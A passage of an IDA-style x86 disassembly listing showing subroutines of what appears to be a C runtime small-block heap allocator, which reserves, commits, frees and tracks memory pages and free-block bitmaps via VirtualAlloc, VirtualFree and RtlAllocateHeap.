		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41E672+41p
					; sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	dword_427068	; VirtualFree


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		call	dword_42714C	; RtlFreeHeap


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_427068	; VirtualFree
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		call	dword_42714C	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_427068	; VirtualFree
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]


loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA


loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx


loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------


loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]


loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE70
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------


loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE70, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------


loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE50
		mov	edi, eax


loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608


loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637


loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626


loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_427064	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674


loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE70, edi
		lea	eax, [edi+2018h]


loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------


loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax


loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE70, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax


loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------


loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------


loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi


loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE


loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------


loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------


loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833


loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------


loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi


loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B


loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]


loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------


loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------


loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------


loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------


loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax


loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]


loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi


loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1


loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA


loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------


loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1


loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
